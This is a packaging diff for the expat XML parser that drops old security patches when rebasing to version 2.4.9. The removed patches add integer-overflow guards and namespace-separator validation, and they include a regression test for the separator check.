+ if (newSize > (size_t)(-1) / sizeof(NAMED *)) {
+ return NULL;
+ }
+
size_t tsize = newSize * sizeof(NAMED *);
NAMED **newV = (NAMED **)table->mem->malloc_fcn(tsize);
if (! newV)
@@ -7143,6 +7260,20 @@ nextScaffoldPart(XML_Parser parser) {
if (dtd->scaffCount >= dtd->scaffSize) {
CONTENT_SCAFFOLD *temp;
if (dtd->scaffold) {
+ /* Detect and prevent integer overflow */
+ if (dtd->scaffSize > UINT_MAX / 2u) {
+ return -1;
+ }
+ /* Detect and prevent integer overflow.
+ * The preprocessor guard addresses the "always false" warning
+ * from -Wtype-limits on platforms where
+ * sizeof(unsigned int) < sizeof(size_t), e.g. on x86_64. */
+#if UINT_MAX >= SIZE_MAX
+ if (dtd->scaffSize > (size_t)(-1) / 2u / sizeof(CONTENT_SCAFFOLD)) {
+ return -1;
+ }
+#endif
+
temp = (CONTENT_SCAFFOLD *)REALLOC(
parser, dtd->scaffold, dtd->scaffSize * 2 * sizeof(CONTENT_SCAFFOLD));
if (temp == NULL)
@@ -7212,8 +7343,26 @@ build_model(XML_Parser parser) {
XML_Content *ret;
XML_Content *cpos;
XML_Char *str;
- int allocsize = (dtd->scaffCount * sizeof(XML_Content)
- + (dtd->contentStringLen * sizeof(XML_Char)));
+
+ /* Detect and prevent integer overflow.
+ * The preprocessor guard addresses the "always false" warning
+ * from -Wtype-limits on platforms where
+ * sizeof(unsigned int) < sizeof(size_t), e.g. on x86_64. */
+#if UINT_MAX >= SIZE_MAX
+ if (dtd->scaffCount > (size_t)(-1) / sizeof(XML_Content)) {
+ return NULL;
+ }
+ if (dtd->contentStringLen > (size_t)(-1) / sizeof(XML_Char)) {
+ return NULL;
+ }
+#endif
+ if (dtd->scaffCount * sizeof(XML_Content)
+ > (size_t)(-1) - dtd->contentStringLen * sizeof(XML_Char)) {
+ return NULL;
+ }
+
+ const size_t allocsize = (dtd->scaffCount * sizeof(XML_Content)
+ + (dtd->contentStringLen * sizeof(XML_Char)));
ret = (XML_Content *)MALLOC(parser, allocsize);
if (! ret)

View File

@ -1,228 +0,0 @@
commit 5c47ae80738d0985babf06a023b3845169682064
Author: Tomas Korbar <tkorbar@redhat.com>
Date: Mon Mar 14 10:22:37 2022 +0100
Protect against malicious namespace declarations
diff --git a/lib/xmlparse.c b/lib/xmlparse.c
index 5c3f573..901abbf 100644
--- a/lib/xmlparse.c
+++ b/lib/xmlparse.c
@@ -638,8 +638,7 @@ XML_ParserCreate(const XML_Char *encodingName) {
XML_Parser XMLCALL
XML_ParserCreateNS(const XML_Char *encodingName, XML_Char nsSep) {
- XML_Char tmp[2];
- *tmp = nsSep;
+ XML_Char tmp[2] = {nsSep, 0};
return XML_ParserCreate_MM(encodingName, NULL, tmp);
}
@@ -1253,8 +1252,7 @@ XML_ExternalEntityParserCreate(XML_Parser oldParser, const XML_Char *context,
would be otherwise.
*/
if (parser->m_ns) {
- XML_Char tmp[2];
- *tmp = parser->m_namespaceSeparator;
+ XML_Char tmp[2] = {parser->m_namespaceSeparator, 0};
parser = parserCreate(encodingName, &parser->m_mem, tmp, newDtd);
} else {
parser = parserCreate(encodingName, &parser->m_mem, NULL, newDtd);
@@ -3526,6 +3524,117 @@ storeAtts(XML_Parser parser, const ENCODING *enc, const char *attStr,
return XML_ERROR_NONE;
}
+static XML_Bool
+is_rfc3986_uri_char(XML_Char candidate) {
+ // For the RFC 3986 ANBF grammar see
+ // https://datatracker.ietf.org/doc/html/rfc3986#appendix-A
+
+ switch (candidate) {
+ // From rule "ALPHA" (uppercase half)
+ case 'A':
+ case 'B':
+ case 'C':
+ case 'D':
+ case 'E':
+ case 'F':
+ case 'G':
+ case 'H':
+ case 'I':
+ case 'J':
+ case 'K':
+ case 'L':
+ case 'M':
+ case 'N':
+ case 'O':
+ case 'P':
+ case 'Q':
+ case 'R':
+ case 'S':
+ case 'T':
+ case 'U':
+ case 'V':
+ case 'W':
+ case 'X':
+ case 'Y':
+ case 'Z':
+
+ // From rule "ALPHA" (lowercase half)
+ case 'a':
+ case 'b':
+ case 'c':
+ case 'd':
+ case 'e':
+ case 'f':
+ case 'g':
+ case 'h':
+ case 'i':
+ case 'j':
+ case 'k':
+ case 'l':
+ case 'm':
+ case 'n':
+ case 'o':
+ case 'p':
+ case 'q':
+ case 'r':
+ case 's':
+ case 't':
+ case 'u':
+ case 'v':
+ case 'w':
+ case 'x':
+ case 'y':
+ case 'z':
+
+ // From rule "DIGIT"
+ case '0':
+ case '1':
+ case '2':
+ case '3':
+ case '4':
+ case '5':
+ case '6':
+ case '7':
+ case '8':
+ case '9':
+
+ // From rule "pct-encoded"
+ case '%':
+
+ // From rule "unreserved"
+ case '-':
+ case '.':
+ case '_':
+ case '~':
+
+ // From rule "gen-delims"
+ case ':':
+ case '/':
+ case '?':
+ case '#':
+ case '[':
+ case ']':
+ case '@':
+
+ // From rule "sub-delims"
+ case '!':
+ case '$':
+ case '&':
+ case '\'':
+ case '(':
+ case ')':
+ case '*':
+ case '+':
+ case ',':
+ case ';':
+ case '=':
+ return XML_TRUE;
+
+ default:
+ return XML_FALSE;
+ }
+}
+
/* addBinding() overwrites the value of prefix->binding without checking.
Therefore one must keep track of the old value outside of addBinding().
*/
@@ -3581,6 +3690,29 @@ addBinding(XML_Parser parser, PREFIX *prefix, const ATTRIBUTE_ID *attId,
if (! mustBeXML && isXMLNS
&& (len > xmlnsLen || uri[len] != xmlnsNamespace[len]))
isXMLNS = XML_FALSE;
+
+ // NOTE: While Expat does not validate namespace URIs against RFC 3986
+ // today (and is not REQUIRED to do so with regard to the XML 1.0
+ // namespaces specification) we have to at least make sure, that
+ // the application on top of Expat (that is likely splitting expanded
+ // element names ("qualified names") of form
+ // "[uri sep] local [sep prefix] '\0'" back into 1, 2 or 3 pieces
+ // in its element handler code) cannot be confused by an attacker
+ // putting additional namespace separator characters into namespace
+ // declarations. That would be ambiguous and not to be expected.
+ //
+ // While the HTML API docs of function XML_ParserCreateNS have been
+ // advising against use of a namespace separator character that can
+ // appear in a URI for >20 years now, some widespread applications
+ // are using URI characters (':' (colon) in particular) for a
+ // namespace separator, in practice. To keep these applications
+ // functional, we only reject namespaces URIs containing the
+ // application-chosen namespace separator if the chosen separator
+ // is a non-URI character with regard to RFC 3986.
+ if (parser->m_ns && (uri[len] == parser->m_namespaceSeparator)
+ && ! is_rfc3986_uri_char(uri[len])) {
+ return XML_ERROR_SYNTAX;
+ }
}
isXML = isXML && len == xmlLen;
isXMLNS = isXMLNS && len == xmlnsLen;
diff --git a/tests/runtests.c b/tests/runtests.c
index f03e008..40172d2 100644
--- a/tests/runtests.c
+++ b/tests/runtests.c
@@ -7233,6 +7233,37 @@ START_TEST(test_ns_double_colon_doctype) {
}
END_TEST
+START_TEST(test_ns_separator_in_uri) {
+ struct test_case {
+ enum XML_Status expectedStatus;
+ const char *doc;
+ XML_Char namesep;
+ };
+ struct test_case cases[] = {
+ {XML_STATUS_OK, "<doc xmlns='one_two' />", XCS('\n')},
+ {XML_STATUS_ERROR, "<doc xmlns='one&#x0A;two' />", XCS('\n')},
+ {XML_STATUS_OK, "<doc xmlns='one:two' />", XCS(':')},
+ };
+
+ size_t i = 0;
+ size_t failCount = 0;
+ for (; i < sizeof(cases) / sizeof(cases[0]); i++) {
+ XML_Parser parser = XML_ParserCreateNS(NULL, cases[i].namesep);
+ XML_SetElementHandler(parser, dummy_start_element, dummy_end_element);
+ if (XML_Parse(parser, cases[i].doc, (int)strlen(cases[i].doc),
+ /*isFinal*/ XML_TRUE)
+ != cases[i].expectedStatus) {
+ failCount++;
+ }
+ XML_ParserFree(parser);
+ }
+
+ if (failCount) {
+ fail("Namespace separator handling is broken");
+ }
+}
+END_TEST
+
/* Control variable; the number of times duff_allocator() will successfully
* allocate */
#define ALLOC_ALWAYS_SUCCEED (-1)
@@ -11527,6 +11558,7 @@ make_suite(void) {
tcase_add_test(tc_namespace, test_ns_utf16_doctype);
tcase_add_test(tc_namespace, test_ns_invalid_doctype);
tcase_add_test(tc_namespace, test_ns_double_colon_doctype);
+ tcase_add_test(tc_namespace, test_ns_separator_in_uri);
suite_add_tcase(s, tc_misc);
tcase_add_checked_fixture(tc_misc, NULL, basic_teardown);

View File

@ -1,42 +0,0 @@
From ede41d1e186ed2aba88a06e84cac839b770af3a1 Mon Sep 17 00:00:00 2001
From: Sebastian Pipping <sebastian@pipping.org>
Date: Wed, 26 Jan 2022 02:36:43 +0100
Subject: [PATCH 1/2] lib: Prevent integer overflow in doProlog
(CVE-2022-23990)
The change from "int nameLen" to "size_t nameLen"
addresses the overflow on "nameLen++" in code
"for (; name[nameLen++];)" right above the second
change in the patch.
---
expat/lib/xmlparse.c | 10 ++++++++--
1 file changed, 8 insertions(+), 2 deletions(-)
diff --git a/lib/xmlparse.c b/lib/xmlparse.c
index 5ce31402..d1d17005 100644
--- a/lib/xmlparse.c
+++ b/lib/xmlparse.c
@@ -5372,7 +5372,7 @@ doProlog(XML_Parser parser, const ENCODING *enc, const char *s, const char *end,
if (dtd->in_eldecl) {
ELEMENT_TYPE *el;
const XML_Char *name;
- int nameLen;
+ size_t nameLen;
const char *nxt
= (quant == XML_CQUANT_NONE ? next : next - enc->minBytesPerChar);
int myindex = nextScaffoldPart(parser);
@@ -5388,7 +5388,13 @@ doProlog(XML_Parser parser, const ENCODING *enc, const char *s, const char *end,
nameLen = 0;
for (; name[nameLen++];)
;
- dtd->contentStringLen += nameLen;
+
+ /* Detect and prevent integer overflow */
+ if (nameLen > UINT_MAX - dtd->contentStringLen) {
+ return XML_ERROR_NO_MEMORY;
+ }
+
+ dtd->contentStringLen += (unsigned)nameLen;
if (parser->m_elementDeclHandler)
handleDefault = XML_FALSE;
}

View File

@ -1,4 +1,4 @@
%global unversion 2_4_7
%global unversion 2_4_9
Summary: An XML parser library
Name: expat
@ -74,6 +74,10 @@ make check
%{_libdir}/lib*.a
%changelog
* Thu Sep 29 2022 Tomas Korbar <tkorbar@redhat.com> - 2.4.9-1
- Rebase to version 2.4.9
- Resolves: CVE-2022-40674
* Tue Apr 26 2022 Tomas Korbar <tkorbar@redhat.com> - 2.4.7-1
- Rebase to version 2.4.7
- Resolves: rhbz#2067201

View File

@ -1 +1 @@
SHA512 (expat-2.4.7.tar.gz) = 91bc9792c4ba1d0ad835f633d8cfa62130692f48308eea8932ec5e13a01542120561b0f255b4adc58b1adae6f83632cbabf428b5b5c0d2ac6de542478a951232
SHA512 (expat-2.4.9.tar.gz) = 6bf92516ce2642b2cdcbc586aaac0f706f125394fa428670f9b8b042a1f393e3b9dda1a24e58e6c8ad8b4ff3303cb5a8700628c6c04a881a06251c08be3759d3